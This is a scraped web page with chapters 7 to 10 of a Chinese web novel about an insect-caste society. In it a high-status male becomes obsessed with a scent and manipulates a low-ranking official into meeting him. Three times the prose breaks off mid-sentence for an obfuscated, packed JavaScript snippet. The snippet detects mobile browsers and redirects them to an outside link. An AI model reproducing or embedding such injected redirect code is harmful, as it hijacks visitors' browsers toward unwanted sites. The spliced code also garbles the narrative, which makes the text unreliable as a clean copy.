《觊觎朋友的雌侍很久了》 7. 第 7 章 赫伯特扒在栏杆上,僵立许久。 他怀疑他不止嗅觉出了问题,连眼睛也喝酒喝出了幻觉。 这和他的过往认知有着极大的出入,以至于他宁可怀疑是自己看错了也听错了。 雌虫,不都是对着雄虫恭顺的样子吗?还是说被打晕的那个雄虫是个精神力为E或F的垃圾雄虫? 赫伯特没看清那个雌虫的样子,只是能远远看到他拖着雄虫往角落去的单薄背影。冷风一吹,想到那个醉酒雄虫的问话,他也不禁怀疑是见了鬼,让他忍不住打了个寒颤,搓了搓胳膊。 他一脸迷幻地从阳台栏杆上下来,闭上眼揉了揉太阳穴,都开始怀疑是德西科胡乱调配出了什么致幻的毒酒。 他在冷风中吹了一会儿,听见下边小花园里又有了响动。他朝下一看,原来是有雌虫找了出来,正打算把角落里晕过去的雄虫搬回去。不过,那个雌虫没有看出来地上的雄虫是被打晕过去的,只以为是雄虫阁下醉酒后随意一躺睡着了。 “喂。”赫伯特冲下边的雌虫喊了一声。 以正常雌虫的视力,即使在昏暗的灯光下也能看清二楼阳台上喊他的虫脖颈上露出的雄虫虫纹。在确认赫伯特在和他说话后,他立刻把手中的雄虫放回地上,站直身体朝向赫伯特,恭敬地回话:“阁下,请问您有什么吩咐?” 赫伯特同样看不清这个雌虫的样子,但看身形应该是个正常雌虫。他松了口气,问:“你认识地上那个雄虫?” 站在下边的雌虫以为赫伯特怀疑他要对醉酒雄虫图谋不轨,连忙解释:“是的阁下,这位是阿斯塔纳阁下,他今晚邀请了我一起喝酒,刚刚他出来透气迟迟不归,我这才出来找他。” 赫伯特不在意这个倒霉雄虫叫什么,直接问:“他的精神力等级是多少?” 啊?雌虫愣了一下,他没想到搂上的雄虫阁下会问这么突兀的问题,但他还是回答了他所知道的:“听说是位B级的阁下。” 赫伯特知道了自己想要知道的,随便朝下边的雌虫摆了摆手,示意雌虫可以走了。 他寻思,B级雄虫啊,精神力也不算低了。 赫伯特顿时觉得下次应该和朋友们换别的地方聚会,这地方不怎么安全啊。 他转身就往回走,不忘端上德西科精心调制的那杯味道诡异的酒。 回到包间,之前吞云吐雾的虫聚在一块排队等德西科给他们调酒。 房间里的空气净化系统满负荷运作许久后终于把烟雾缭绕的二手烟都抽了出去,空气中除了酒味和香水味,没有了别的呛鼻气味。 赫伯特端着酒坐到他们旁边,问他们在干什么。 他旁边的雄虫对赫伯特错过了刚刚的赌约简直要拍断大腿:“我们刚刚打赌,德西科雄父给他强塞的那个雌侍绝对没有他口中说的那么差,肯定有雄虫喜欢那一口。结果我们都输了,必须喝完一整杯德西科亲自调的酒。” “哦,那个薄片雌侍来过了啊。”赫伯特脑海中不禁想到刚刚他在阳台上看到的那个单薄的雌虫背影。他不能确定两个同样削瘦的雌虫是不是同一个虫,不过现在他知道之前这伙虫发信息让他回来看的乐子是什么了。 啧,真是低级趣味。 “可惜,”和他聊天的雄虫继续说,“你错过了品尝德西科手艺的机会。” 已经尝试过德西科调酒手艺的赫伯特:“……” 他毫不犹豫地端起酒杯,往旁边雄虫的杯子里倒酒,一滴没给自己剩:“我这还有一整杯他调的酒,不用客气,你直接拿去喝。” 刚刚输掉的雄虫太多,德西科手速又太慢,有赌约精神但又懒得多等的雄虫毫不犹豫端起酒杯猛喝了一口。 “噗!”一大口酒液刚进口就喷了出来。 被他溅到酒液的雄虫立刻跳了起来:“我靠,哈瑞斯你有病吧,嘴成喷壶了?!” 哈瑞斯喷出酒液后咳了几声,又拿起酒瓶直接往自己嘴里灌了几口,才呲牙咧嘴且满脸不可置信地看向刚刚喝过德西科特调酒的几个雄虫:“我去,你们几个是失去味觉了吗?喝完这种歹毒的酒都能这么镇静??” 几个挤在一起坐的雄虫相互对视了几眼挑挑眉,桌上还摆着刚刚他们喝完的空杯。 真是几个能憋住话的好汉! 其余还没喝过德西科特调酒的雄虫都面露惊恐,瞪大了眼睛看向德西科手中正在摇晃的调酒器。 德西科面露微笑:“哈瑞斯,别的虫给你倒的酒不算,我要亲自给你定制一款酒。” 哈瑞斯惊恐。哈瑞斯无助。 赫伯特深藏功与名,端起空酒杯离开了。 他放松地靠坐在不远处的沙发上,很快就有雌虫帮他往空杯里倒好了新的酒。 只是之前疑似幻觉的香味好像又找上了他。 他明明坐在法布里克的包间里,却闻到了之前在政府大楼里闻到的那股特殊气味。一丝丝直往他的鼻腔里撞,勾得心里又痒又挠不到位。 赫伯特揉了揉额头,只觉得今天的自己神经是不是错乱了,怎么到哪都能闻到那股突然冒出来的香气。 赫伯特安静地坐在沙发上,闭目养神。 可过了一会儿,还是能闻到若隐若现时有时无的香气,似乎就在他的身边。 他睁开眼,旁边没有别的虫,就他一个坐在这张沙发上,其他陪酒陪玩的雌虫知道他的习惯都不敢往他旁边凑。 他微微凝心感知那股特殊气味的源头,最后目光落到了一旁搭在沙发扶手处的外衣上。 他拎起那件衣服,又凑近了细细嗅了几下,确实是这件衣服上沾带的气味,也最属这件衣服上的气味最浓。 他出声打断还在那边排排坐等着喝罚酒的雄虫们,问:“这是哪来的外套啊?” 有雄虫知道,脸上带着打趣的笑,特意看了德西科一眼后回答:“这是刚刚德西科的雄父怕他冷,特意让他的雌侍给他带过来的哦。” 德西科一脸无语地瞥了一眼,又埋头搞他的特调酒水。 赫伯特闻言嫌弃地把外套丢远了一些。 他也是疯了,竟然会觉得德西科的衣服上有让他心痒的香气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064697|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太变态了,是他做噩梦都想不出来的变态剧情。 他心有余悸,随手招过来一个坐在不远处的雌虫,下巴隔空点了点那件外套:“你去闻闻上边有没有什么味。” 雌虫乖乖捡起那件被随意丢远了的衣服,认真闻了闻,然后回答:“阁下,有的。” 赫伯特精神一振,看向雌虫,等着他的详细描述。 那个雌虫沉思片刻:“应该是夫斯帝亚本季最新款香氛,前调是毗努果、阿斯瑞法白桃、古力神柑、克洛希柑橘、梭兰、扬思花,中调有可罗花、西亚子……” 赫伯特没耐心听这个不知道谁找来的鉴香大师报花名,朝他摆摆手。 雌虫立刻识相地住了嘴,还有些委屈地看了看赫伯特才又坐回自己的原位。以他的认知,他敢打包票,他刚刚绝对没有说错一味香调。 那款雌虫口中的新款香氛,赫伯特闻过,还未上市售卖就被品牌方送到了他的家中,绝不是他闻到的那股特殊香气。 似乎,只有他能闻到那股气味。 赫伯特坐在原处,既看着那件朋友的外套心烦,又舍不得离开。那股特殊的气味,是真的让他有些欲罢不能。不是说有多好闻,而是仿佛填平了灵魂缺失的地方。而在此之前,他压根不知道他的灵魂深处还能有缺少的地方。 赫伯特缓缓闭上眼,眼不见外套为净,但整个虫却沉浸在那丝丝缕缕的香气中。 只不过,这几缕沾染在外套上的香气也不多,聚会还没结束,就被包间里的空气净化机抽干净了。 半夜睡梦中,赫伯特似乎又在梦中嗅到了若隐若现的那股香气,丝丝缕缕缠绕住了他,但他想要伸手抓住的时候,又从他的指缝间漏了过去。 第二天一早起来,赫伯特就喝了一瓶感冒药。 之后的几周,他正常工作,往返于公司和家中,偶尔出去和朋友聚会,却再也没有闻到同样的气味。 他既觉得自己的嗅觉感官可能已经好了,恍惚间又有点怅然。就好像他原本一直吃着没有加盐的饭菜,突然间却尝到了一丝咸味,然而这点咸味还没有让他解馋,就又从饭菜中消失了。如果他一直吃没盐味的饭菜,他尚且不会觉得有什么缺憾。但当他尝过后,就很难再回到从前。 最让他纠结的是,连他自己都说不清,之前闻到的那股特殊气味,究竟是真实存在的,还是他的幻觉。 这让他有时候略微心不在焉,连和朋友聚会的时候都会反复想起那天闻到的气味。 这种拉扯持续了许久,直到他在助理拿过来的一堆文件中闻到了魂牵梦绕的气味,让他都怀疑自己这几天是不是工作得疯了。 他满心怀疑地把助理打发了出去,开始在一份份文件上挨个嗅闻过去。 直到,他确认了气味最浓的源头。 这份文件的文件夹不是公司统一采买的款式。 他的心脏怦怦跳得厉害,连呼吸都不自觉紧凑起来。 他顿了一下,才将文件放在桌面上翻开。 是那次去政府大楼签约的项目。 8. 第 8 章 凯立克作为高等级雌虫,自从几年前大学毕业进入索斯福亚集团,就备受重用。短短几年,就从普通基层职员升到了小中层,如今上级更是将与政府对接的重点项目交到他手里。 为了做好这个项目,他不仅积极和政府那边对接,更是连着数周加班,只为精益求精。 事实上他确实做得不错,上交的方案初次就通过了上级的审核,被直送到总裁办,甚至很有可能被集团最高层的赫伯特阁下亲自翻阅。 早上他特意提早出门,今天是他与政府那边约定见面详谈的日子,他打算早点到公司先再仔细检查一遍要商谈的内容,然后美美吃个早饭就出发前往政府大楼。 他刚到办公室,正笑容满面地和周围同事打招呼,就被上司叫了过去。 “最近政府那边的项目你先别管了。”上司边搅手中的咖啡,边通知他这个最新安排。 凯立克一惊,连嘴角的弧度都回落了几分。 看着注意力挪回到手中文件上丝毫没打算再给他一个眼神的上司,他心中忐忑,勉强维持住笑容,小心翼翼询问上司:“请问是我之前提交的方案出了什么问题吗?” 上司从忙于看文件中抬头,诧异地看了他一眼,见他神色勉强眼中不安,立刻就猜到了他在想什么,轻笑一声:“没有,你做的方案非常好,不过总裁办那边打算亲自接手这个项目。” “据说,”上司伸出手指了指上方,“是那位阁下亲自发话。” 上方除了天花板和灯带外什么都没有,但他们都知道上司指的是谁。 凯立克没想到这个项目居然引起了高层的注意。他仔细回想了一下这个项目的具体情况和集团最近的战略走向,并没有发现这个项目有什么特别之处。 虽然这个项目是公司的重点项目,对他来说是一个非常好的机会,但同样级别的项目在整个集团并不少见,除了签约时为了向政府那边表示诚意,是由赫伯特阁下亲自出面,其余按常规都是由他们这些下边的虫处理。 按理说,都用不着一般的集团高层亲自参与。可现在,这个项目却惊动了赫伯特阁下。 凯立克心中拿不准情况,面上也不免显露出来困惑。 上司特意指点他:“上面这么决定自然有其道理,我们只要乖乖照做,尤其,不要想着随意去揣测阁下的心思。” 凯立克迟疑地点了点头,但好歹不是他的工作出了什么岔子,悬着的心终于放下了大半。 上司见状安抚他:“放心,过几天还有别的重要项目交给你。” 凯立克这才又恢复常态,笑着谢过上司。 而被提及的赫伯特则心情不错地坐在车上,按凯立克原本约好的时间前往政府大楼。 赫伯特出门前特意穿了深色的高领内搭,助理看到时神色顿了一下才和往常一样向赫伯特问好。 高领衣服,这在雄虫身上是相对少见的穿搭。 虫纹作为雄虫外表最明显的标志,就长在雄虫的脖颈上,其他虫通过虫纹可以一眼识别对方是雄虫还是雌虫。从某种角度来说,雄虫脖颈上的虫纹,是他们身份地位的象征。 一般来说,雄虫更乐意将自己的虫纹展示在外。而雄虫的高贵身份注定他们不会受到寒冷的困扰,也就没有遮住脖颈来保暖的需求。所以,高领衣服更常出现在雌虫身上。 但近几年的小众美□□流兴起,有部分虫认为高领衣服在光线下投射的阴影可以更好强调下颚的轮廓,使得整个虫看起来有干练的精英感,因而许多服装品牌也追随潮流出了不少雄虫定制款的高领衣服。 赫伯特那宽敞的衣帽间角落就挂着几件当季高领衣服。送衣服过来的品牌没指望雄虫阁下能有多喜欢他们的高领设计,只是不想因没准备潮流元素齐全的衣服而有任何惹怒雄虫阁下的可能。 现在,他们准备的这几件备用款式在衣柜吃灰许久后终于派上了用场。 这次去政府大楼,不像签约那次浩浩荡荡跟了一群虫,就赫伯特和助理两个,外加司机来回接送。 政府那边没有得到雄虫阁下要来的消息,只以为是正常的项目换虫,也就没有任何提前的等候接待。 赫伯特和助理到达政府大厅和对接虫联系后,他才匆匆忙忙赶过来:“不好意思,二位就是索斯福亚集团新的项目负责虫对吧?你好,我是阿苏纳。” 阿苏纳略微喘气,胳膊下还夹着几份文件,他站稳后,就朝赫伯特伸出手。 很常见的雌虫间的礼节。 助理看了阿苏纳一眼,在脑海里快速过了一遍他见过的政府虫,就猜到阿苏纳上次签约和开会时没有在场,自然也就有很大可能认不出赫伯特的身份。 他连忙上前,打算握住阿苏纳伸出的手,却被赫伯特一个抬手拦了下来。 “你好,我叫赫伯特。”赫伯特勾了勾嘴角,“请——多、多、指、教。” 赫伯特特意放慢的声音让助理心里打了个寒颤。指教?谁敢指教雄虫阁下?助理又看了一眼毫无察觉的阿苏纳,却也只得默默退后,看着那两只手握在一起。 赫伯特目光灼灼盯着阿苏纳,视线不经意间划过阿苏纳空空荡荡的手指,面上却一副公事公办的正经样子。 他很少和雌虫握手,也是第一次握到这样粗糙还有硬茧的手。 平时有资格和他握手的虫,除了同样养尊处优的雄虫,就是位高权重的雌虫,无论是谁,即使不刻意保养自己的手,也不会让手粗糙得这么明显,一握就能感觉到,这只手的主虫受过不少苦头。 粗糙的手指触碰到赫伯特的手背,让他感受到了一种砂纸般的坚硬。其实可能也没那么夸张,但是第一次握到这么粗糙的手,赫伯特很难不联想到一些他认知里同样粗糙的东西。 不过,他并不介意这点轻微的不适。 他的目光从阿苏纳刚出现在他的视野里就紧紧盯着那张脸,并且在阿苏纳靠近时,比打招呼的声音先到的是,若隐若现的熟悉香气。 他似乎是被那股香气蛊惑了,阿苏纳的嘴开开合合说话时,他的视线就落在上边随之起起伏伏,以至于阿苏纳伸出手时他的动作慢了半拍,让助理误以为他因为阿苏纳冒犯的动作而不悦。 他说完自己的名字后,并没有立刻放开阿苏纳的手,而是接着继续说:“我在几年前就进入索斯福亚集团工作,有着丰富的政府项目经验,是目前公司在这方面最优秀的虫。这次接替之前的同事和政府这边对接,也是考虑到集团比较看重这次的项目。” 赫伯特顿了顿,握住阿苏纳的手不放,嘴角挑起微微的弧度,“不过我现在还不太熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064698|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉项目当前的进度,还要麻烦你多多与我见面沟通。” 这次握手的时长远超正常情况,阿苏纳有些懵,但见赫伯特非常认真地在介绍自己,以为新换上来的虫是过于紧张这次的项目,他不由也认真给与回应:“好的,请放心,这个项目是政府和索斯福亚集团合作的重点项目,我会力所能及提供一切助力。” 客套话说完,赫伯特的手仍维持着握住的姿势,阿苏纳的目光不自觉下移落到交握的手上。但目光刚触及,赫伯特就非常自然地松开了他的手:“谢谢。” 阿苏纳笑了笑,没把刚刚当回事,在前引他们往里走。 这次的非正式商谈并没有会议室可用,场地也是很随意地就在阿苏纳平时办公的地方。 阿苏纳虽然是项目主管,但并没有单独的办公室。这是一间政府大楼内部老旧的办公室,面积不小,却也容纳了不少虫一同在里边办公。 走近了,就能听见大办公室里边的喧嚣声。 “请。”阿苏纳让赫伯特先进。 赫伯特刚进去时,里边还是各种嘈杂声混在一起特别闹腾。但等阿苏纳带着他走到自己办公桌前坐下,周围就静悄悄一片了。 阿苏纳诧异地看向门口,并没有任何高层领导路过或是督查组过来检查。但他只是心里疑惑了一瞬,就把注意力又放在了眼前接待的虫身上。 他端了两杯早就准备好的水放在赫伯特和助理前边的桌面上。非常朴实的杯子,一看就是政府统一采购并使用多年的物品。水也是非常朴实的从饮水机刚接不久的白水,没有任何多余的茶或冲泡物放在里边。 用这套标准接待来访的雌虫没有任何问题,但最大的问题是,来访的就不是雌虫。 助理默默地将手伸入包中,打算给赫伯特换上他带来的杯子和饮品。 但他还没拿出杯子,就有雌虫挤了过来,温声细语地说:“阁下,阿苏纳怎么能用这么简陋的东西招待您?实在是太过无礼。” 他直接说穿了赫伯特的身份,言语中毫不掩饰对阿苏纳的指责。 助理认出了他也是那天参加项目会议的政府虫之一。不过并不是什么重要虫,应该只是基层的普通职员。 阿苏纳也立刻就通过他的话想明白了赫伯特的身份。这不是和那位索斯福亚集团的掌控者同名的普通雌虫,而就是那位地位尊贵的雄虫阁下本虫!阿苏纳不由神色微变。 雌虫:“如果您不介意,还请您用我准备的水吧。” 说着,他双手托着将一瓶水小心翼翼放在赫伯特面前。 看包装,是里斯塔罗冰川水,媒体宣传这是高等级雄虫阁下们平时最常饮用的水,售价比普通瓶装水高几十倍。许多雌虫对其趋之若鹜,即使不舍得也会咬牙买上几瓶,仿佛这样就离高高在上的雄虫阁下们距离近了不少。 但事实上,对于赫伯特这种层次的雄虫,这种水远远达不到他们平时的饮用标准。 赫伯特挑眉,终于施舍给他一个眼神。 雌虫不禁目露欣喜,连忙回答:“阁下,我叫格兰亚,也是参与这个项目的虫。” 赫伯特没有说话,只是瞥了助理一眼。 助理心领神会,立刻站起身抬手。 “啪”!一个响亮的巴掌狠狠抽到了格兰亚的脸上。 9. 第 9 章 一时间,所有虫的目光都落在了格兰亚身上,鸦雀无声。 格兰亚错愕而又惶恐,怎么想这一巴掌即使没打到阿苏纳脸上,也都不应该落在他脸上。 他颤颤看向得到雄虫阁下指示的助理和仍端坐在椅子上连动作动不曾动过分毫的雄虫阁下,内心迫切地希望是助理理解错了赫伯特的意思,毕竟那一个眼神除了助理本虫外,谁都不知道是什么意思。 可惜的是,即使他挨了一巴掌,赫伯特也没有再施舍过他一眼,仿佛被打的只是路边毫不起眼的尘埃,连惊动雄虫阁下的必要都没有。赫伯特的助理则是面无表情,眼中没有任何情绪波动和可以感知的温度。 而助理接下来冰冷的话更是打破了他的侥幸:“在你的上级面前,未经允许,怎容你僭越前来打扰雄虫阁下?我后续会代赫伯特阁下向你们部长投诉这件事。” 一句话,让格兰亚的脸色瞬间变得煞白,噗通一下跪倒在地。 来自雄虫阁下的投诉,这意味着、这意味着……他的仕途基本就此断送。能否保住工作尚且未知,更别提什么日后晋升的可能。 他下意识看向阿苏纳,想要寻求阿苏纳的帮助,让阿苏纳这个上级为他说说好话,然而阿苏纳的眼神也没有放在他身上。他这才想起,他刚刚才得罪过这个上级,更是在雄虫阁下面前说过阿苏纳的坏话。如果雄虫阁下追究起来,阿苏纳自身也难保。 阿苏纳的心中也在不安,只是他仍在努力保持镇定。 格兰亚的指责并非毫无道理,尽管他是由于不清楚雄虫阁下的身份才招待不周,但这个社会运行的逻辑并不会管他有什么隐情和理由,结果就是结果。 按理说他被指出怠慢雄虫阁下后也应该跪在地上认错并请求阁下原谅,但他本就处境艰难,在上级的刻意打压下,下属并不服管,否则也不会出现格兰亚当众指责他的情况,如今办公室众目睽睽之下,这一跪将会击破他在下属面前仅剩不多的权威。 他深吸一口气,伸手端起放在赫伯特面前的杯子,歉意地说:“抱歉阁下,请容许我为您换上更为适合的饮品。” 赫伯特却在此时站起来了。 所有虫的视线都随之上升,密切关注着雄虫阁下的一举一动。阿苏纳也摒住了呼吸,手指不自觉攥紧了杯子。 赫伯特轻笑了一下,伸手从阿苏纳手中拿过杯子。阿苏纳呆愣地看着,却也乖乖配合赫伯特的动作松了手,就听赫伯特语气从容地说:“没关系,我也是政府管理的公民,别的虫喝得的水,我又怎么喝不得?” 一句话,一个笑容,整个办公室的气氛也随之一松。 这时,不知道哪个刚刚认出赫伯特的虫悄悄给部长报了信,部长脚步匆匆地终于赶了过来。一进来,就看到自己的下属和雄虫阁下对立而站,地上还跪了一个惶惶不安摇摇欲坠的。 赫伯特背对着门口,他看不清赫伯特脸上的表情,心里顿时咯噔一下,面上却绽放出下属未曾见过的灿烂笑容:“赫伯特阁下,您看看,我真是惭愧,不知道您今天要来,都没有去门口迎接您。” 他快步上前,躬身问好:“委屈您屈尊到这,我这些下属招待不周,有什么事不如我们去会议室聊?” 不是他不想把雄虫阁下带到他自己的办公室,实在是对于赫伯特这样层次的雄虫,也就他们刚装修完不久的会议室勉强能看。 赫伯特却坐下了:“没关系,这里比较方便。阿苏纳应该就是负责这次项目具体实施的虫吧,有什么事我和他说就行。” “这……”部长看了看稳坐在一把破椅子上的赫伯特,又看了看周围目光炯炯的下属和老旧的办公室,心里捏了把汗,生怕这事传到雄保会那里。 毕竟,俗话说,即便能逃过死亡和税收,也无法避开雄保会的管制。 部长擦了擦额间虚汗,脑子疯狂运转,很快想到一个好点子:“阁下,刚好阿苏纳的新办公室收拾好了,不如你们去那聊?” 阿苏纳转头看向部长。 赫伯特:“哦?新办公室?” 部长笑着解释:“本来阿苏纳这个级别就该有自己单独的办公室,只不过之前办公间紧缺才没有给他安排。这不前些日子有同事退休了,就腾出了空间,只不过这几天在打扫,还没让他搬进去。” 事实上那个腾出来的办公室早就内定给了另一个刚晋升项目主管的虫,阿苏纳知道这件事,大办公室里的其他虫也知道。但现在部长在雄虫阁下面前亲口说了,这间办公室的归属权就变成了阿苏纳的。 赫伯特点点头站起身,他没有坚持仍坐在这间大办公室的破椅子上属实是让部长松了口气,连忙带着赫伯特往那间刚收拾好还没有虫搬进去的办公间走去,阿苏纳也拿上必要的文件资料跟在后边。 这间新的办公室,说实在很狭小,对于赫伯特仍旧算屈尊,但部长也没有更好的办法了,总比看着雄虫阁下待在刚刚那间虫来虫往的老旧办公室好。 新办公室小小一间,但确实打扫干净了。有了专属的空间,门一关环境也安静不少。 阿苏纳刚要去茶水间端水过来,就看见赫伯特的助理已经从随身携带的包中拿出了杯子和瓶装水。阿苏纳不认识那瓶水的牌子,但杯子是有眼睛的虫都能看出来的昂贵,他都不知道助理是怎么随身带了这么一套东西。 精美的杯子在老破小的办公室内显得格格不入,杯壁的温润材质在光下完美折射出雄虫阁下奢华生活的冰山一角。 “我上次来好像没有在项目会议上见过你。”赫伯特即使是端坐在狭小的办公室,仿佛也像坐在高端大厦的顶层豪华办公室,丝毫没有待在破旧环境中的窘迫。 “是。”反倒是阿苏纳站在这有些局促,“我在会议开始前突然旧病复发,去了医院,正好错过了会议。” 赫伯特点了点头,没有再追问下去。 “坐,不要这么紧张。”赫伯特的话反客为主,却没有任何虫觉得不对。 他的面上带着淡淡的笑容,看着平易近虫而又和善,阿苏纳不由听从了他的话,在掌有权势的雄虫阁下面前放松了下来,几乎要忘了他的助理不久前才掌掴惩戒了一个试图靠近他的雌虫。 赫伯特是一个内心极度自傲的虫,但当他刻意伪装的时候,往往能轻易骗过所有虫,让对他的本性毫无所知的虫放下警惕,被他温和的态度俘获。 习惯了在军队中直来直往的阿苏纳也不例外。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064699|195115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没过一会儿,他就被赫伯特的远见卓识和出众气度所折服,更是在赫伯特善意的目光中卸下了心防。 项目谈得很顺利,阿苏纳感觉从未这么畅快地抒发自己的所思所想,这种感觉让备受打压多时的他仿佛又回到了往日叱咤风云的战场上。 等到结束前,他心中已然对这位索斯福亚集团的掌控者、地位尊崇的雄虫阁下生出好感。 他不禁笑着对赫伯特说:“阁下,还要感谢您之前给威尔斯方舟中学的捐赠。虽然我的道谢的份量微不足道,但还是想要有机会能亲口对您说一句谢谢。” 赫伯特略有些诧异:“所以,你是?” 阿苏纳点点头:“是的阁下,我也是威尔斯方舟中学的毕业生,还要多亏像索斯福亚集团这样的企业捐赠,我才能顺利毕业。” “所以,谢谢您,阁下。”阿苏纳郑重道谢。 这次的短暂商谈在中午之前结束,赫伯特婉拒了部长和阿苏纳的午饭邀请,没有赏光留下吃饭,而是直接回了公司。 但不久后,赫伯特以公司的名义,邀请阿苏纳到集团总部面谈项目的最近进度情况。 阿苏纳穿得很正式,但看起来还是和索斯福亚集团总部的环境有些格格不入。 索斯福亚集团给员工的工资待遇不错,尤其在总部上班的虫,各个都有体面的行头,穿得光鲜亮丽。 相较于此,在政府部门工作的收入略显微薄,阿苏纳每月又有额外的大笔支出,所剩用来支撑日常生活的薪水不多,就连到正式场合的衣服也只是差强虫意。 助理特意提前下来接阿苏纳,这让大厅里来来往往认识助理的虫心中暗自惊讶。能让赫伯特阁下的助理亲自迎接的虫,居然只是这样一个看起来平平无奇的雌虫。 阿苏纳跟着助理上了赫伯特的专属电梯,金碧辉煌的电梯内壁映照出助理笔挺的身影,阿苏纳从反光处能看到他身后助理低眉顺眼地站着,一如之前跟在赫伯特身后般毫不起眼。格兰亚在上次的事之后就被停职了,显然是这位雄虫阁下的助理如约进行了投诉。 “叮”电梯很快直通顶层。 出了电梯,助理推开走廊尽头深色的木制双扇门,里边硕大一片透亮得仿佛不存在的落地窗直接占据了阿苏纳全部视野。 高楼上,透过浮云隐约可以看见百米下的车水马龙,但喧嚣完完全全被挡在了外边,敞亮的室内格外安静。整个宽大的办公室地面全部铺上了柔软厚实的纯毛地毯,连走动都不会发出碰撞到地板的声响。 “请坐。”坐在大班台后的赫伯特微勾嘴角,目不转睛地盯着走进来的阿苏纳。 助理上前为阿苏纳拉开了椅子,黑色的皮质座椅看着硬挺,坐下来却犹如陷入云朵。这样的办公环境和老旧的政府大楼比,简直有天壤之别。 很快助理就端上来待客的茶水,通透的玻璃杯中飘浮着少量冰块,虽然现在还远不到喝冰水的时候,但在恒温保持舒适温度的室内,也并不算突兀。 阿苏纳伸手去接助理递过来的杯子,正准备说谢谢,助理却似乎崴了一下脚,连带着手腕也一翻,装得满满的一杯冰水就倾倒在了他的身上。 衣服毫不意外地被打湿了大片。 10. 第 10 章 助理立刻道歉:“对不起!对不起!是我没端稳。” 说着,他快速从桌上抽出纸巾去擦阿苏纳身上的水渍,然而却毫无作用,一整杯冰水已经将阿苏纳的上衣浸透了个彻底,即使擦去了表面的水,衣服也仍旧湿漉漉的。 浸透冰水的衣服让阿苏纳感觉像冰块贴在了自己的胸前。如果只是常温水,最多有些衣料粘黏皮肤的不适,冰水浇在衣服上却让他忍不住想打寒颤。但他还是强忍住不适笑了笑,安抚明显十分着急的助理:“没事,不要紧。” 助理脸上满是内疚,提议:“衣服都湿透了,这么冰的水很容易感冒,您不如先和我去员工休息室洗个热水澡换身衣服吧。” 这算是个合理提议,若是平时,阿苏纳就同意了。但现在已经到了他和赫伯特约好的时间,如果他去洗澡换衣服,那就不得不让赫伯特等他。尤其赫伯特作为索斯福亚集团掌控者,日程安排必然紧密,这样做很有可能会打乱赫伯特的工作安排。 阿苏纳摇了摇头,拒绝了助理的好意:“不用了,衣服过一会儿应该就干了。” 事实上,衣服上湿了这么一大片,恐怕快到中午都不一定能自然风干。 助理面露不赞同的神色,还打算再劝,赫伯特就开口了:“阿瑞斯,你怎么办事的?让拜访集团的客虫感冒生病可不是索斯福亚的待客之道。” 赫伯特的声音不怒自威,即使听上去很平静,也没有虫敢不把他的话当回事。助理当即就笔挺挺地跪了下来:“抱歉阁下,都是我的错,请您责罚。” 阿苏纳一惊,连忙站起身,向赫伯特求情:“阁下,没关系,我这就和您的助理去换衣服,不会因此生病的,还请您等我一会儿。” 赫伯特抬眼看向他,面上看不出什么表情,只是淡淡地说:“嗯,去吧,我不着急。” 阿苏纳看他没有打算再惩罚助理的样子才松了口气,助理已经从地上站了起来,微微躬身并掌指引离开方向:“请您跟我到这边来。” 助理带着阿苏纳离开这间超大的豪华办公室后只走了几步,就拐进了旁边的一个房间。 门上没有贴标牌,进去是一个套间,装修低调却奢华。靠外边是客厅,里边还有一个内间,放了一张大床和简单的家具,再往里走才是浴室。 助理让阿苏纳稍等,他则转身从衣柜中取出了一整套熨烫服帖的西装递给阿苏纳。 “这是备用的衣服,全新的没有虫穿过,请您洗完澡换上吧。总裁办有这方面的预算,您可以直接穿回去,不需要归还。”助理微微一笑。 “谢谢。”阿苏纳的手一接触到西装,就察觉到衣服的材质好得过分,就和这间员工休息室一样,奢华到完全不像是为普通员工准备的。 但从他进入索斯福亚集团的总部大楼,所有进出的员工都衣着得体,不乏有穿搭奢侈品牌的虫。他不禁想,索斯福亚集团的员工待遇这么好的么? 助理把他带到这后就出去了,阿苏纳锁好浴室门,就快速将身上冰得冻皮肤的衣服脱了下来。湿透的衣服只是贴在他胸膛上一会儿,他的皮肤就凉了个彻底。 花洒打开,温热的水流均匀淋在他的身上,他才感觉刚刚皮肤上的寒意在慢慢退去。 这种温暖让他有些眷恋,但他没法现在耗费时间享受这些。他快速洗完澡,让身体重新热了起来后,他就换上了刚刚助理给他的衣服走了出去。 路过衣帽间的时候,恰好有面等身镜对着他,他这才发现,这套西装不仅材质堪称奢华,剪裁更是贴身。 他心底的怪异感又一次浮出来,可没等他细想,就听见了脚步声靠近。 助理微笑着将手中的杯子递给他:“这是姜糖水,有助于驱寒。阁下临时有要紧事要处理,还请您现在外边的沙发上等候片刻。” 原来这间员工休息室还有待客的用途,难怪装修奢华,阿苏纳稍稍安心,跟随助理走到外边。 “请!” 